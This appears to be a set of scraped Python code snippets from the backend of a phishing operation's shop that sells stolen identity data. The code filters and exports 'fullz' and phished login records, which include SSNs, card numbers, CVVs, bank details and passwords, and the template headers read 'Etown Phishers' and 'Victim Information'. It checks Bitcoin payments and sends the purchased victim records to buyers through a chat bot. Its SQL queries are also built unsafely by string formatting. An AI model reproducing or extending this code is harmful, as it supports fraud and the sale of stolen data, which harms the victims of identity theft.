Example #1
0
	def get_pp_table(self, table_name = 'pp'):
		try:
			query = "select id, ip_address, email, password, location from `%s` where 1 order by id desc" % table_name
			query_conn.execute(query)
			f_list = query_conn.fetchall()
			for f in f_list:
				id = f[0]
				ip = decrypt(f[1]).replace("| IP Address : ", "").replace("\n", "")
				email = decrypt(f[2]).replace("| Email: ", "").replace("\n", "")
				password = decrypt(f[3]).replace("| Password : "******"").replace("\n", "")
				location = decrypt(f[4]).replace("| Location: ", "").replace("\n", "")

				check = self.check_word([email, password])
				if check == 'EXIST_BAD_WORD':
					self.delete_row(table_name, id)

				check = self.check_location(location)
				if check == 'NOT_UK':
					self.delete_row(table_name, id)

				check, index = self.check_ip(ip, table_name, id)
				if check == 'EXIST_IN_FULLZ' or check == 'EXIST_IN_PP':
					self.delete_row(table_name, id)
		except Exception as e:
			print('FilterModule get %s list has any errors.' % table_name)
			print(e)
Example #2
0
    def export_fullz(self, table_name='fullz'):
        try:
            result_text = ""
            sample_text = "+ ------------- Etown Phishers -------------+\n+ ------------------------------------------+\n+ Personal Information\n| id: %s\n%s%s%s%s%s%s%s%s%s+ ------------------------------------------+\n+ Billing Information\n%s%s%s%s%s%s%s%s+ ------------------------------------------+\n+ Account Information\n%s%s+ ------------------------------------------+\n+ Victim Information\n%s%s%s%s%s+ ------------------------------------------+\n\n"
            query = "select full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip_address, location, user_agent, browser, platform, id from `%s` where 1" % table_name
            query_conn.execute(query)
            f_list = query_conn.fetchall()
            for f in f_list:
                result_text += sample_text % (
                    f[24], decrypt(f[0]), decrypt(f[1]), decrypt(f[2]),
                    decrypt(f[3]), decrypt(f[4]), decrypt(f[5]), decrypt(f[6]),
                    decrypt(f[7]), decrypt(f[8]), decrypt(f[9]), decrypt(
                        f[10]), decrypt(f[11]), decrypt(f[12]), decrypt(f[13]),
                    decrypt(f[14]), decrypt(f[15]), decrypt(
                        f[16]), decrypt(f[17]), decrypt(f[18]), decrypt(
                            f[19]), decrypt(f[20]), decrypt(
                                f[21]), decrypt(f[22]), decrypt(f[23]))

            self.set_file_content(result_text)

            if self.delete_table == True:
                query_conn.execute("delete from `%s`" % table_name)
                conn.commit()
        except Exception as e:
            print('ExportModule export %s method has any errors.' % table_name)
            print(e)
Example #3
0
 def getChat(self, uin):
     try:
         log_list = self.getLog()
         query = "select id, uin, `time`, log_id, log_params, command from chat where uin=%s order by time asc, id asc" % uin
         query_conn.execute(query)
         f_list = query_conn.fetchall()
         r_list = []
         for f in f_list:
             time = (datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=f[2])).strftime('%Y-%m-%d %H:%M:%S')
             if f[5] != '':
                 message = f[5]
                 is_bot = False
             else:
                 if f[3] in log_list:
                     if log_list[f[3]]['params'] > 0:
                         patterns = f[4].split('###')
                         message = log_list[f[3]]['content'] % tuple(patterns)
                     else:
                         message = log_list[f[3]]['content']
                 else:
                     message = f[4]
                 is_bot = True
             r_list.append({'id': f[0], 'time': time, 'message': message, 'is_bot': is_bot})
         return r_list
     except:
         print('get chat model error occurs.')
Example #4
0
 def getLog(self):
     query = "select id, content, params from log where 1 "
     query_conn.execute(query)
     f_list = query_conn.fetchall()
     r_list = {}
     for f in f_list:
         r_list[f[0]] = {'content': f[1], 'params': f[2]}
     return r_list
Example #5
0
 def getDeadFullz(self, where='1'):
     query = "select id, full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip_address, location, user_agent, browser, platform, type, status, lock_time, lock_customer, deposit_address from dead_fullz where %s" % where
     query_conn.execute(query)
     f_list = query_conn.fetchall()
     r_list = []
     for f in f_list:
         r_list.append({'id': f[0], 'full_name': decrypt(f[1]), 'birth_date': decrypt(f[2]), 'address': decrypt(f[3]), 'zip': decrypt(f[4]), 'country': decrypt(f[5]), 'phone': decrypt(f[6]), 'ssn': decrypt(f[7]), 'secu_question': decrypt(f[8]), 'secu_answer': decrypt(f[9]), 'card_bin': decrypt(f[10]), 'card_bank': decrypt(f[11]), 'card_type': decrypt(f[12]), 'card_number': decrypt(f[13]), 'expire_date': decrypt(f[14]), 'cvv': decrypt(f[15]), 'account_number': decrypt(f[16]), 'sortcode': decrypt(f[17]), 'user_name': decrypt(f[18]), 'password': decrypt(f[19]), 'ip_address': decrypt(f[20]), 'location': decrypt(f[21]), 'user_agent': decrypt(f[22]), 'browser': decrypt(f[23]), 'platform': decrypt(f[24]), 'type': decrypt(f[25]), 'status': f[26], 'lock_time': f[27], 'lock_customer': f[28], 'deposit_address': f[29]})
     return r_list
Example #6
0
 def getPP(self, where='1'):
     query = "select id, email, password, ip_address, location, user_agent, browser, platform, status, lock_time, lock_customer, deposit_address from pp where %s" % where
     query_conn.execute(query)
     f_list = query_conn.fetchall()
     r_list = []
     for f in f_list:
         r_list.append({'id': f[0], 'email': decrypt(f[1]), 'password': decrypt(f[2]), 'ip_address': decrypt(f[3]), 'location': decrypt(f[4]), 'user_agent': decrypt(f[5]), 'browser': decrypt(f[6]), 'platform': decrypt(f[7]), 'status': f[8], 'lock_time': f[9], 'lock_customer': f[10], 'deposit_address': f[11]})
     return r_list
Example #7
0
 def getOrder(self, where='1'):
     query = "select id, uin, `time`, product_type, product_id, btc, success, ongoing, chat_id, gbp, canceled from `order` where %s order by `time` desc" % where
     query_conn.execute(query)
     f_list = query_conn.fetchall()
     r_list = []
     for f in f_list:
         time = (datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=f[2])).strftime('%Y-%m-%d %H:%M:%S')
         r_list.append({'id': f[0], 'uin': f[1], 'time': time, 'product_type': f[3], 'product_id': f[4], 'btc': f[5], 'success': f[6], 'ongoing': f[7], 'chat_id': f[8], 'gbp': f[9], 'canceled': f[10]})
     return r_list
Example #8
0
 def getUser(self, uin=''):
     if uin == '':
         query = "select uin, max(buy_time), max(ban), max(chat_time) from user group by uin"
     else:
         query = "select uin, buy_time, ban, chat_time from user where uin=%s order by id desc limit 1" % uin
     query_conn.execute(query)
     f_list = query_conn.fetchall()
     r_list = []
     for f in f_list:
         buy_time = (datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=f[1])).strftime('%Y-%m-%d %H:%M:%S')
         chat_time = (datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=f[3])).strftime('%Y-%m-%d %H:%M:%S')
         r_list.append({'uin': f[0], 'time': chat_time, 'ban': f[2]})
     r_list.sort(key=lambda item: item['time'], reverse=True)
     return r_list
def log_pattern():
    global LOG_PATTERNS

    LOG_PATTERNS = {}

    try:
        query_conn.execute("select id, content, params from log where 1 ")
        l_list = query_conn.fetchall()

        for ptn in l_list:
            LOG_PATTERNS[ptn[0]] = {
                'content': '\n'.join(ptn[1].split('\\n')),
                'params': ptn[2]
            }
    except:
        print('thread log pattern error occurs.')

    return
Example #10
0
def get_payment_pp(customer_id, deposit_address):
    order_id = 0
    result_text = ""
    sample_text = "_______________________\n\  PRODUCT ID :%5d  /\n \ _________________ /\n+- Login Information -+\n+ --------------------+\n%s%s+ --------------------+\n%s%s%s%s%s+ --------------------+\n(IF YOU HAVE ANY ISSUES WITH YOUR PRODUCTS TYPE /support_uin TO CONTACT SUPPORT PLEASE NOTE YOU HAVE ONLY 5MINS PER ITEM TO REPORT INVALID TO SUPPORT!!!)\n\n"
    query = "select email, password, ip_address, location, user_agent, browser, platform, id from pp where status='confirm' and lock_customer=%s and deposit_address='%s'" % (
        customer_id, deposit_address)
    query_conn.execute(query)
    f_list = query_conn.fetchall()
    for f in f_list:
        if order_id == 0:
            order_id = get_order(customer_id, 'PP', f[7])
        result_text += sample_text % (f[7], decrypt(f[0]), decrypt(
            f[1]), decrypt(f[2]), decrypt(f[3]), decrypt(f[4]), decrypt(
                f[5]), decrypt(f[6]))
    result_text = (
        "_______________________\n\   ORDER ID :%6d  /\n \ _________________ /\n"
        % order_id) + result_text
    return result_text
Example #11
0
    def export_pp(self, table_name='pp'):
        try:
            result_text = ""
            sample_text = "+ ----------- Login Information ------------+\n+ ------------------------------------------+\n| id: %s\n%s%s+ ------------------------------------------+\n%s%s%s%s%s+ ------------------------------------------+\n\n"
            query = "select email, password, ip_address, location, user_agent, browser, platform, id from `%s` where 1" % table_name
            query_conn.execute(query)
            f_list = query_conn.fetchall()
            for f in f_list:
                result_text += sample_text % (f[7], decrypt(f[0]), decrypt(
                    f[1]), decrypt(f[2]), decrypt(f[3]), decrypt(
                        f[4]), decrypt(f[5]), decrypt(f[6]))

            self.set_file_content(result_text)

            if self.delete_table == True:
                query_conn.execute("delete from `%s`" % table_name)
                conn.commit()
        except Exception as e:
            print('ExportModule export %s method has any errors.' % table_name)
            print(e)
Example #12
0
def get_payment_fullz(customer_id, deposit_address):
    order_id = 0
    result_text = ""
    sample_text = "_______________________\n\  PRODUCT ID :%5d  /\n \ _________________ /\n+ -- Etown Phishers --+\n+ --------------------+\n+ Personal Information\n%s%s%s%s%s%s%s%s%s+ --------------------+\n+ Billing Information\n%s%s%s%s%s%s%s%s+ --------------------+\n+ Account Information\n%s%s+ --------------------+\n+ Victim Information\n%s%s%s%s%s+ --------------------+\n(IF YOU HAVE ANY ISSUES WITH YOUR PRODUCTS TYPE /support_uin TO CONTACT SUPPORT PLEASE NOTE YOU HAVE ONLY 5MINS PER ITEM TO REPORT INVALID TO SUPPORT!!!)\n\n"
    query = "select full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip_address, location, user_agent, browser, platform, id from fullz where status='confirm' and lock_customer=%s and deposit_address='%s'" % (
        customer_id, deposit_address)
    query_conn.execute(query)
    f_list = query_conn.fetchall()
    for f in f_list:
        if order_id == 0:
            order_id = get_order(customer_id, 'Fullz', f[24])
        result_text += sample_text % (
            f[24], decrypt(f[0]), decrypt(f[1]), decrypt(f[2]), decrypt(f[3]),
            decrypt(f[4]), decrypt(f[5]), decrypt(f[6]), decrypt(f[7]),
            decrypt(f[8]), decrypt(f[9]), decrypt(f[10]), decrypt(f[11]),
            decrypt(f[12]), decrypt(f[13]), decrypt(f[14]), decrypt(f[15]),
            decrypt(f[16]), decrypt(f[17]), decrypt(f[18]), decrypt(f[19]),
            decrypt(f[20]), decrypt(f[21]), decrypt(f[22]), decrypt(f[23]))
    result_text = (
        "_______________________\n\   ORDER ID :%6d  /\n \ _________________ /\n"
        % order_id) + result_text
    return result_text
Example #13
0
	def get_fullz_table(self, table_name = 'fullz'):
		try:
			result_list = []
			query = "select id, ip_address, card_number, full_name, address, secu_answer, location from `%s` where 1 order by id desc" % table_name
			query_conn.execute(query)
			f_list = query_conn.fetchall()
			for f in f_list:
				id = f[0]
				ip = decrypt(f[1]).replace("| IP Address : ", "").replace("\n", "")
				card = decrypt(f[2]).replace("| Card Number : ", "").replace("\n", "")
				full_name = decrypt(f[3]).replace("| Full name : ", "").replace("\n", "")
				address = decrypt(f[4]).replace("| Address : ", "").replace("\n", "")
				secu_answer = decrypt(f[5]).replace("| Security Answer : ", "").replace("\n", "")
				location = decrypt(f[6]).replace("| Location: ", "").replace("\n", "")

				check = self.check_word([full_name, address, secu_answer])
				if check == 'EXIST_BAD_WORD':
					self.delete_row(table_name, id)

				check = self.check_location(location)
				if check == 'NOT_UK':
					self.delete_row(table_name, id)

				check = self.check_card(card)
				if check == 'EXIST_IN_FULLZ':
					self.delete_row(table_name, id)

				check, index = self.check_ip(ip, table_name, id)
				if check == 'EXIST_IN_FULLZ':
					self.delete_row(table_name, id)
				elif check == 'EXIST_IN_PP':
					self.delete_row('pp', index)
			return result_list
		except Exception as e:
			print('FilterModule get %s list has any errors.' % table_name)
			print(e)
Example #14
0
def main():
    try:
        time_now = int((datetime.datetime.now() -
                        datetime.datetime(1970, 1, 1)).total_seconds())

        pre_process()

        # each deposit
        query_conn.execute("select * from deposit where 1")
        d_list = query_conn.fetchall()

        for deposit in d_list:
            id, bin_type, deposit_address, deposit_amount, paid_amount, paid_time, uin, start_time = deposit
            time_now = int((datetime.datetime.now() -
                            datetime.datetime(1970, 1, 1)).total_seconds())
            transaction_info = blockexplorer.get_address(
                address=deposit_address)
            tran = transaction_info.transactions
            result_text = ""

            if len(tran) > 0 and tran[0].time > time_now - 7200:
                t_list = transaction_info.transactions[0].outputs
                t_time = transaction_info.transactions[0].time
                for t in t_list:
                    if t.address == deposit_address:
                        amount = int(t.value)

                if amount > 0:
                    if int(amount) >= int(float(deposit_amount) * 100000000):
                        if bin_type == "Fullz":
                            result_text = get_payment_fullz(
                                uin, deposit_address)
                            query = "select full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip_address, location, user_agent, browser, platform, type from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                                deposit_address, uin)
                            query_conn.execute(query)
                            f_list = query_conn.fetchall()
                            for f in f_list:
                                full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform, type = f[
                                    0], f[1], f[2], f[3], f[4], f[5], f[6], f[
                                        7], f[8], f[9], f[10], f[11], f[12], f[
                                            13], f[14], f[15], f[16], f[17], f[
                                                18], f[19], f[20], f[21], f[
                                                    22], f[23], f[24]
                                insert_query = "insert into `dead_fullz` (`full_name`, `birth_date`, `address`, `zip`, `country`, `phone`, `ssn`, `secu_question`, `secu_answer`, `card_bin`, `card_bank`, `card_type`, `card_number`, `expire_date`, `cvv`, `account_number`, `sortcode`, `user_name`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`, `type`, `status`, `lock_time`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', 'dead', '%s')" % (
                                    full_name, birth_date, address, zip,
                                    country, phone, ssn, secu_question,
                                    secu_answer, card_bin, card_bank,
                                    card_type, card_number, expire_date, cvv,
                                    account_number, sortcode, user_name,
                                    password, ip, location, user_agent,
                                    browser, platform, type, time_now)
                                query_conn.execute(insert_query)
                                conn.commit()
                                insert_count = query_conn.rowcount
                                log_output(
                                    '207', 'thread', uin, 'success',
                                    ('%d insert dead_fullz status=dead' %
                                     insert_count), [], False)
                            query = "delete from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                                deposit_address, uin)
                            query_conn.execute(query)
                            conn.commit()
                            delete_count = query_conn.rowcount
                            if (delete_count > 0):
                                log_output('208', 'thread', uin, 'success',
                                           ('%d delete fullz' % delete_count),
                                           [], False)
                        elif bin_type == "dead_fullz":
                            result_text = get_payment_dead_fullz(
                                uin, deposit_address)
                            query = "delete from dead_fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                                deposit_address, uin)
                            query_conn.execute(query)
                            conn.commit()
                            delete_count = query_conn.rowcount
                            if (delete_count > 0):
                                log_output(
                                    '210', 'thread', uin, 'success',
                                    ('%d delete dead_fullz' % delete_count),
                                    [], False)
                        elif bin_type == "PP":
                            result_text = get_payment_pp(uin, deposit_address)
                            query = "delete from pp where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                                deposit_address, uin)
                            query_conn.execute(query)
                            conn.commit()
                            delete_count = query_conn.rowcount
                            if (delete_count > 0):
                                log_output('211', 'thread', uin, 'success',
                                           ('%d delete pp' % delete_count), [],
                                           False)

                        # `order` success = 'Y'
                        query = "update `order` set `success`='Y' where uin=%s and product_type='%s' and btc=%s and ongoing='Y'" % (
                            uin, bin_type, deposit_amount)
                        query_conn.execute(query)
                        conn.commit()
                        update_count = query_conn.rowcount
                        if (update_count > 0):
                            log_output(
                                '225', 'thread', uin, 'success',
                                ('%d update order success=Y' % update_count),
                                [], False)

                        # `deposit` delete
                        query = "delete from deposit where id=%s" % id
                        query_conn.execute(query)
                        conn.commit()
                        delete_count = query_conn.rowcount
                        if (delete_count > 0):
                            log_output('212', 'thread', uin, 'success',
                                       ('%d delete deposit' % delete_count),
                                       [], False)
                    else:
                        if paid_amount > 0 and t_time != paid_time:
                            total_paid = int(amount + paid_amount * 100000000)
                            if total_paid >= int(
                                    float(deposit_amount) * 100000000):
                                if bin_type == "Fullz":
                                    result_text = get_payment_fullz(
                                        uin, deposit_address)
                                    query = "select full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip_address, location, user_agent, browser, platform, type from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                                        deposit_address, uin)
                                    query_conn.execute(query)
                                    f_list = query_conn.fetchall()
                                    for f in f_list:
                                        full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform, type = f[
                                            0], f[1], f[2], f[3], f[4], f[5], f[
                                                6], f[7], f[8], f[9], f[10], f[
                                                    11], f[12], f[13], f[14], f[
                                                        15], f[16], f[17], f[
                                                            18], f[19], f[
                                                                20], f[21], f[
                                                                    22], f[
                                                                        23], f[
                                                                            24]
                                        insert_query = "insert into `dead_fullz` (`full_name`, `birth_date`, `address`, `zip`, `country`, `phone`, `ssn`, `secu_question`, `secu_answer`, `card_bin`, `card_bank`, `card_type`, `card_number`, `expire_date`, `cvv`, `account_number`, `sortcode`, `user_name`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`, `type`, `status`, `lock_time`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', 'dead', '%s')" % (
                                            full_name, birth_date, address,
                                            zip, country, phone, ssn,
                                            secu_question, secu_answer,
                                            card_bin, card_bank, card_type,
                                            card_number, expire_date, cvv,
                                            account_number, sortcode,
                                            user_name, password, ip, location,
                                            user_agent, browser, platform,
                                            type, time_now)
                                        query_conn.execute(insert_query)
                                        conn.commit()
                                        insert_count = query_conn.rowcount
                                        log_output(
                                            '213', 'thread', uin, 'success',
                                            ('%d insert dead_fullz status=dead'
                                             % insert_count), [], False)
                                    query = "delete from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                                        deposit_address, uin)
                                    query_conn.execute(query)
                                    conn.commit()
                                    delete_count = query_conn.rowcount
                                    if (delete_count > 0):
                                        log_output(
                                            '214', 'thread', uin, 'success',
                                            ('%d delete fullz' % delete_count),
                                            [], False)
                                elif bin_type == "dead_fullz":
                                    result_text = get_payment_dead_fullz(
                                        uin, deposit_address)
                                    query = "delete from dead_fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                                        deposit_address, uin)
                                    query_conn.execute(query)
                                    conn.commit()
                                    delete_count = query_conn.rowcount
                                    if (delete_count > 0):
                                        log_output('216', 'thread', uin,
                                                   'success',
                                                   ('%d delete dead_fullz' %
                                                    delete_count), [], False)
                                elif bin_type == "PP":
                                    result_text = get_payment_pp(
                                        uin, deposit_address)
                                    query = "delete from pp where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                                        deposit_address, uin)
                                    query_conn.execute(query)
                                    conn.commit()
                                    delete_count = query_conn.rowcount
                                    if (delete_count > 0):
                                        log_output(
                                            '217', 'thread', uin, 'success',
                                            ('%d delete pp' % delete_count),
                                            [], False)

                                # `order` success = 'Y'
                                query = "update `order` set `success`='Y' where uin=%s and product_type='%s' and btc=%s and ongoing='Y'" % (
                                    uin, bin_type, deposit_amount)
                                query_conn.execute(query)
                                conn.commit()
                                update_count = query_conn.rowcount
                                if (update_count > 0):
                                    log_output('226', 'thread', uin, 'success',
                                               ('%d update order success=Y' %
                                                update_count), [], False)

                                # `deposit` delete
                                query = "delete from deposit where id=%s" % id
                                query_conn.execute(query)
                                conn.commit()
                                delete_count = query_conn.rowcount
                                if (delete_count > 0):
                                    log_output(
                                        '218', 'thread', uin, 'success',
                                        ('%d delete deposit' % delete_count),
                                        [], False)
                            else:
                                pay_amount = "{:.8f}".format(total_paid)
                                query = "update deposit set paid_amount=%s where id=%s" % (
                                    pay_amount, id)
                                query_conn.execute(query)
                                conn.commit()
                                update_count = query_conn.rowcount
                                if (update_count > 0):
                                    log_output(
                                        '219', 'thread', uin, 'success',
                                        ('update paid_amount=%s deposit id=%s'
                                         % (pay_amount, id)), [], False)
                                result_text = LOG_PATTERNS[39]['content'] % (
                                    deposit_amount, pay_amount)  #39
                        else:
                            pay_amount = "{:.8f}".format(
                                float(amount / 100000000))
                            # rest_amount = "{:.8f}".format(float(deposit_amount) - float(amount / 100000000))
                            query = "update deposit set paid_amount=%s, paid_time=%s where id=%s" % (
                                pay_amount, t_time, id)
                            query_conn.execute(query)
                            conn.commit()
                            update_count = query_conn.rowcount
                            if (update_count > 0):
                                log_output(
                                    '220', 'thread', uin, 'success',
                                    ('update paid_amount=%s deposit id=%s' %
                                     (pay_amount, id)), [], False)
                            if paid_time == 0:
                                result_text = LOG_PATTERNS[40]['content'] % (
                                    deposit_amount, pay_amount)  #40

                else:
                    # log_output('221', 'thread', uin, 'fail', 'not payment')
                    # print("didn't find payment.")
                    pass
            else:
                # log_output('222', 'thread', uin, 'fail', 'not payment')
                # print("Didn't find payment")
                pass
            if result_text != "":
                log_output('223', 'thread', uin, 'success', 'not payment',
                           [[0, result_text]], False)
                bot.send_im(target=uin, message=result_text)
    except Exception as e:
        print('thread main error occurs.')
        print(e)
        traceback.print_exc()
Example #15
0
def process_payment_order(deposit):
    # print(deposit)
    id, bin_type, deposit_address, deposit_amount, paid_amount, paid_time, uin, start_time = deposit
    time_now = int((datetime.datetime.now() -
                    datetime.datetime(1970, 1, 1)).total_seconds())
    result_text = ""

    try:
        if bin_type == "Fullz":
            result_text = get_payment_fullz(uin, deposit_address)
            if result_text != "":
                query = "select full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip_address, location, user_agent, browser, platform, type from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                    deposit_address, uin)
                query_conn.execute(query)
                f_list = query_conn.fetchall()
                for f in f_list:
                    full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform, type = f[
                        0], f[1], f[2], f[3], f[4], f[5], f[6], f[7], f[8], f[
                            9], f[10], f[11], f[12], f[13], f[14], f[15], f[
                                16], f[17], f[18], f[19], f[20], f[21], f[
                                    22], f[23], f[24]
                    insert_query = "insert into `dead_fullz` (`full_name`, `birth_date`, `address`, `zip`, `country`, `phone`, `ssn`, `secu_question`, `secu_answer`, `card_bin`, `card_bank`, `card_type`, `card_number`, `expire_date`, `cvv`, `account_number`, `sortcode`, `user_name`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`, `type`, `status`, `lock_time`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', 'dead', '%s')" % (
                        full_name, birth_date, address, zip, country, phone,
                        ssn, secu_question, secu_answer, card_bin, card_bank,
                        card_type, card_number, expire_date, cvv,
                        account_number, sortcode, user_name, password, ip,
                        location, user_agent, browser, platform, type,
                        time_now)
                    query_conn.execute(insert_query)
                    conn.commit()
                    insert_count = query_conn.rowcount
                    log_output(
                        '207', 'thread', uin, 'success',
                        ('%d insert dead_fullz status=dead' % insert_count),
                        [], False)
                query = "delete from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                    deposit_address, uin)
                query_conn.execute(query)
                conn.commit()
                delete_count = query_conn.rowcount
                if (delete_count > 0):
                    log_output('208', 'thread', uin, 'success',
                               ('%d delete fullz' % delete_count), [], False)
        elif bin_type == "dead_fullz":
            result_text = get_payment_dead_fullz(uin, deposit_address)
            if result_text != "":
                query = "delete from dead_fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                    deposit_address, uin)
                query_conn.execute(query)
                conn.commit()
                delete_count = query_conn.rowcount
                if (delete_count > 0):
                    log_output('210', 'thread', uin, 'success',
                               ('%d delete dead_fullz' % delete_count), [],
                               False)
        elif bin_type == "PP":
            result_text = get_payment_pp(uin, deposit_address)
            if result_text != "":
                query = "delete from pp where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                    deposit_address, uin)
                query_conn.execute(query)
                conn.commit()
                delete_count = query_conn.rowcount
                if (delete_count > 0):
                    log_output('211', 'thread', uin, 'success',
                               ('%d delete pp' % delete_count), [], False)
        else:
            result_text = ""

        if (bin_type == "Fullz" or bin_type == "dead_fullz"
                or bin_type == "PP") and result_text != "":
            # `order` success = 'Y'
            query = "update `order` set `success`='Y' where uin=%s and product_type=%s and btc=%s and ongoing='Y'" % (
                uin, bin_type, deposit_amount)
            query_conn.execute(query)
            conn.commit()
            update_count = query_conn.rowcount
            if (update_count > 0):
                log_output('225', 'thread', uin, 'success',
                           ('%d update order success=Y' % update_count), [],
                           False)

            # `deposit` delete
            query = "delete from deposit where id=%s" % id
            query_conn.execute(query)
            conn.commit()
            delete_count = query_conn.rowcount
            if (delete_count > 0):
                log_output('212', 'thread', uin, 'success',
                           ('%d delete deposit' % delete_count), [], False)

    except:
        print('process payment & order & deposit in thread error occurs.')

    return result_text